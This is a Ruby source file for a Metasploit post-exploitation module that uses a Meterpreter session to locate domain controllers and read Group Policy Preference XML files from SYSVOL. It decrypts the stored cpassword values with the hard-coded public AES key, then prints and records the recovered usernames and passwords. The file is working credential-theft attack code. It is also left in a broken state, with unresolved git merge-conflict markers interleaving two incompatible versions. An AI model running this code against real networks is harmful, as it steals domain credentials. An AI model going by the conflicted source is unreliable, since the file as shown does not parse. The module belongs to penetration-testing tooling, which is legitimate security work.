metasploit-framework/modules/post/windows/gather/credentials/gpp.rb

725 lines
21 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
<<<<<<< HEAD
=======
require 'msf/core/post/windows/registry'
>>>>>>> upstream/master
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
<<<<<<< HEAD
=======
include Msf::Post::Windows::Registry
>>>>>>> upstream/master
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
'Description' => %q{
This module enumerates the victim machine's domain controller and
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
<<<<<<< HEAD
Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific
domains on the network. This module will enumerate any domain controllers for
those domains.
Users can specify ALL=True to target all domains and their domain controllers
on the network.
Tested directly on a Win2k8 x64 DC, Win2k12RC x64 DC, and a Windows 7 x32 Client
Workstation.
Using the ALL or DOMAINS flags whilst on a DC will not enumerate that DC as it
is looking externally on the network for other Domain Controllers, however the
default (CURRENT=True which inspects the registry) should work successfully.
=======
Tested on WinXP SP3 Client and Win2k8 R2 DC.
>>>>>>> upstream/master
},
'License' => MSF_LICENSE,
'Author' =>[
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
<<<<<<< HEAD
'TheLightCosine <thelightcosine[at]gmail.com>'
=======
'TheLightCosine <thelightcosine[at]metasploit.com>',
'Rob Fuller <mubix[at]hak5.org>' #domain/dc enumeration code
>>>>>>> upstream/master
],
'References' =>
[
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
<<<<<<< HEAD
register_options(
[
OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]),
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]),
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".']),
], self.class)
end
def run
dcs = []
group_paths = []
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_paths = []
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_paths = []
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_paths = []
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_paths = []
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_paths = []
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
if !datastore['DOMAINS'].to_s.empty?
user_domains = datastore['DOMAINS'].to_s.split(' ')
print_status "User supplied domains #{user_domains}"
user_domains.each do |domain_name|
found_dcs = enum_dcs(domain_name)
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['ALL']
enum_domains.each do |domain|
domain_name = domain[:domain]
if domain_name == "WORKGROUP" || domain_name.empty?
print_status "Skipping '#{domain_name}'..."
next
end
found_dcs = enum_dcs(domain_name)
# We only wish to enumerate one DC for each Domain.
dcs << found_dcs[0] unless found_dcs.to_a.empty?
end
elsif datastore['CURRENT']
dcs << get_domain_controller
else
print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments"
return nil
end
dcs = dcs.flatten.compact
if dcs.length < 1
return nil
end
dcs.each do |dc|
print_status "Searching on #{dc}..."
sysvol_path = "\\\\#{dc}\\SYSVOL\\"
begin
# Enumerate domain folders
session.fs.dir.foreach(sysvol_path) do |domain_dir|
next if domain_dir =~ /^(\.|\.\.)$/
domain_path = "#{sysvol_path}#{domain_dir}\\Policies\\"
print_status "Looking in domain folder #{domain_path}"
# Enumerate policy folders {...}
begin
session.fs.dir.foreach(domain_path) do |policy_dir|
next if policy_dir =~ /^(\.|\.\.)$/
policy_path = "#{domain_path}\\#{policy_dir}"
group_paths << find_path(policy_path, group_path)
group_paths << find_path(policy_path, group_path_user)
service_paths << find_path(policy_path, service_path)
printer_paths << find_path(policy_path, printer_path)
drive_paths << find_path(policy_path, drive_path)
datasource_paths << find_path(policy_path, datasource_path)
datasource_paths << find_path(policy_path, datasource_path_user)
task_paths << find_path(policy_path, task_path)
task_paths << find_path(policy_path, task_path_user)
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{domain_path}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{sysvol_path}"
end
end
group_paths = group_paths.flatten.compact
service_paths = service_paths.flatten.compact
printer_paths = printer_paths.flatten.compact
drive_paths = drive_paths.flatten.compact
datasource_paths = datasource_paths.flatten.compact
task_paths = task_paths.flatten.compact
print_status "Results from Groups.xml:"
group_paths.each do |path|
mxml, dc = get_xml(path)
parse_group_xml(mxml, dc)
end
print_status "Results from Services.xml:"
service_paths.each do |path|
mxml, dc = get_xml(path)
parse_service_xml(mxml, dc)
end
print_status "Results from Printers.xml:"
printer_paths.each do |path|
mxml, dc = get_xml(path)
parse_printer_xml(mxml, dc)
end
print_status "Results from Drives.xml:"
drive_paths.each do |path|
mxml, dc = get_xml(path)
parse_drive_xml(mxml, dc)
end
print_status "Results from DataSources.xml:"
datasource_paths.each do |path|
mxml, dc = get_xml(path)
parse_datasource_xml(mxml, dc)
end
print_status "Results from ScheduledTasks.xml:"
task_paths.each do |path|
mxml, dc = get_xml(path)
parse_scheduled_task_xml(mxml, dc)
end
end
=======
register_options([
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]),
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
end
def run
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
domains = []
dcs = []
basepaths = []
fullpaths = []
@enumed_domains = []
print_status "Checking locally.."
locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
unless locals.blank?
basepaths << locals
print_good "Policy Sahres found locally"
end
if datastore['ALL'] and datastore['DOMAINS'].blank?
domains = enum_domains
domains.reject!{|n| n == "WORKGROUP"}
end
datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS']
domains << get_domain_reg
domains.flatten!
domains.compact!
domains.uniq!
domains.each do |domain|
dcs = enum_dcs(domain)
next if dcs.blank?
dcs.uniq!
tbase = []
dcs.each do |dc|
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
#If we got a basepath from the DC we know that we can reach it
#All DCs on the same domain should be the same so we only need one
unless tbase.blank?
print_good "Found Policy Share on #{dc}"
basepaths << tbase
break
end
end
end
basepaths.flatten!
basepaths.compact!
print_status "Searching for Group Policy XML Files..."
basepaths.each do |policy_path|
fullpaths << find_path(policy_path, group_path)
fullpaths << find_path(policy_path, group_path_user)
fullpaths << find_path(policy_path, service_path)
fullpaths << find_path(policy_path, printer_path)
fullpaths << find_path(policy_path, drive_path)
fullpaths << find_path(policy_path, datasource_path)
fullpaths << find_path(policy_path, datasource_path_user)
fullpaths << find_path(policy_path, task_path)
fullpaths << find_path(policy_path, task_path_user)
end
fullpaths.flatten!
fullpaths.compact!
fullpaths.each do |filepath|
tmpfile = gpp_xml_file(filepath)
parse_xml(tmpfile) if tmpfile
end
end
def get_basepaths(base)
locals = []
begin
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
tpath = "#{base}\\#{sub}\\Policies"
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Could not access #{tpath} : #{e.message}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error accessing #{base} : #{e.message}"
end
return locals
end
>>>>>>> upstream/master
def find_path(path, xml_path)
xml_path = "#{path}\\#{xml_path}"
begin
return xml_path if client.fs.file.stat(xml_path)
rescue Rex::Post::Meterpreter::RequestError => e
# No permissions for this specific file.
return nil
end
end
<<<<<<< HEAD
def get_xml(path)
=======
def gpp_xml_file(path)
>>>>>>> upstream/master
begin
groups = client.fs.file.new(path,'r')
until groups.eof
data = groups.read
end
<<<<<<< HEAD
domain = path.split('\\')[2]
mxml = REXML::Document.new(data).root
return mxml, domain
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
end
end
def parse_service_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['accountName']
service_name = node.attributes['serviceName']
changed = node.parent.attributes['changed']
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} SERVICE: #{service_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_printer_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['username'] #lowercase in MSDN
path = node.attributes['path']
changed = node.parent.attributes['changed']
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_drive_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['userName'] #lowercase in MSDN but camelCase in practice
path = node.attributes['path']
changed = node.parent.attributes['changed']
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} PATH: #{path} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_datasource_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['username'] #lowercase in MSDN
dsn = node.attributes['dsn']
changed = node.parent.attributes['changed']
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DSN: #{dsn} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_scheduled_task_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['runAs']
task_name = node.attributes['name']
changed = node.parent.attributes['changed']
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} Task: #{task_name} CHANGED: #{changed}"
report_creds(user,pass)
end
end
def parse_group_xml(mxml,domain_controller)
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
user = node.attributes['userName']
newname = node.attributes['newName']
disabled = node.attributes['acctDisabled']
action = node.attributes['action']
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
description = node.attributes['description']
full_name = node.attributes['fullName']
no_change = node.attributes['noChange']
change_logon = node.attributes['changeLogon']
sub_authority = node.attributes['subAuthority']
changed = node.parent.attributes['changed']
# Check if policy also specifies the user is renamed.
if !newname.to_s.empty?
user = newname
end
pass = decrypt(epassword)
print_good "DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled} CHANGED: #{changed}"
report_creds(user,pass)
end
end
=======
spath = path.split('\\')
retobj = {
:dc => spath[2],
:path => path,
:xml => REXML::Document.new(data).root
}
if spath[4] == "sysvol"
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
return retobj
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
end
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
print_status "Parsing file: #{xmlfile[:path]} ..."
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
next if @enumed_domains.include? xmlfile[:domain]
@enumed_domains << xmlfile[:domain]
pass = decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed']
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => 5,
'Columns' =>
[
'Name',
'Value',
]
)
table << ["USERNAME", user ]
table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
table << ["DOMAIN", xmlfile[:domain] ]
table << ["CHANGED", changed]
table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank?
print_good table.to_s
report_creds(user,pass) unless disabled and disabled == '1'
end
end
>>>>>>> upstream/master
def report_creds(user, pass)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
<<<<<<< HEAD
#enum_domains.rb
=======
>>>>>>> upstream/master
def enum_domains
print_status "Enumerating Domains on the Network..."
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
if count == 0
return domains
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
<<<<<<< HEAD
domains << x
=======
domains << x[:domain]
>>>>>>> upstream/master
base = base + 8
end
return domains
end
<<<<<<< HEAD
#enum_domains.rb
=======
>>>>>>> upstream/master
def enum_dcs(domain)
print_status("Enumerating DCs for #{domain}")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
<<<<<<< HEAD
print_error "No Domain Controllers found for #{domain}"
=======
print_error("No Domain Controllers found for #{domain}")
>>>>>>> upstream/master
return nil
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
<<<<<<< HEAD
count.times do |i|
=======
count.times{|i|
>>>>>>> upstream/master
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
<<<<<<< HEAD
end
return hostnames
end
#enum_domain.rb
def reg_getvaldata(key,valname)
value = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
v = open_key.query_value(valname)
value = v.data
open_key.close
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
return value
end
#enum_domain.rb
def get_domain_controller()
domain = nil
begin
subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"
v_name = "DCName"
domain = reg_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
if domain.nil?
print_error "No domain controller retrieved - is this machine part of a domain?"
return nil
else
return domain.sub!(/\\\\/,'')
end
end
end
=======
}
return hostnames
end
def get_domain_reg
begin
subkey = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\"
v_name = "Domain"
domain = registry_getvaldata(subkey, v_name)
print_status "Retrieved domain #{domain} from registry "
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message} when reading the registry."
end
domain = domain.split('.')[0].upcase
return domain
end
end
>>>>>>> upstream/master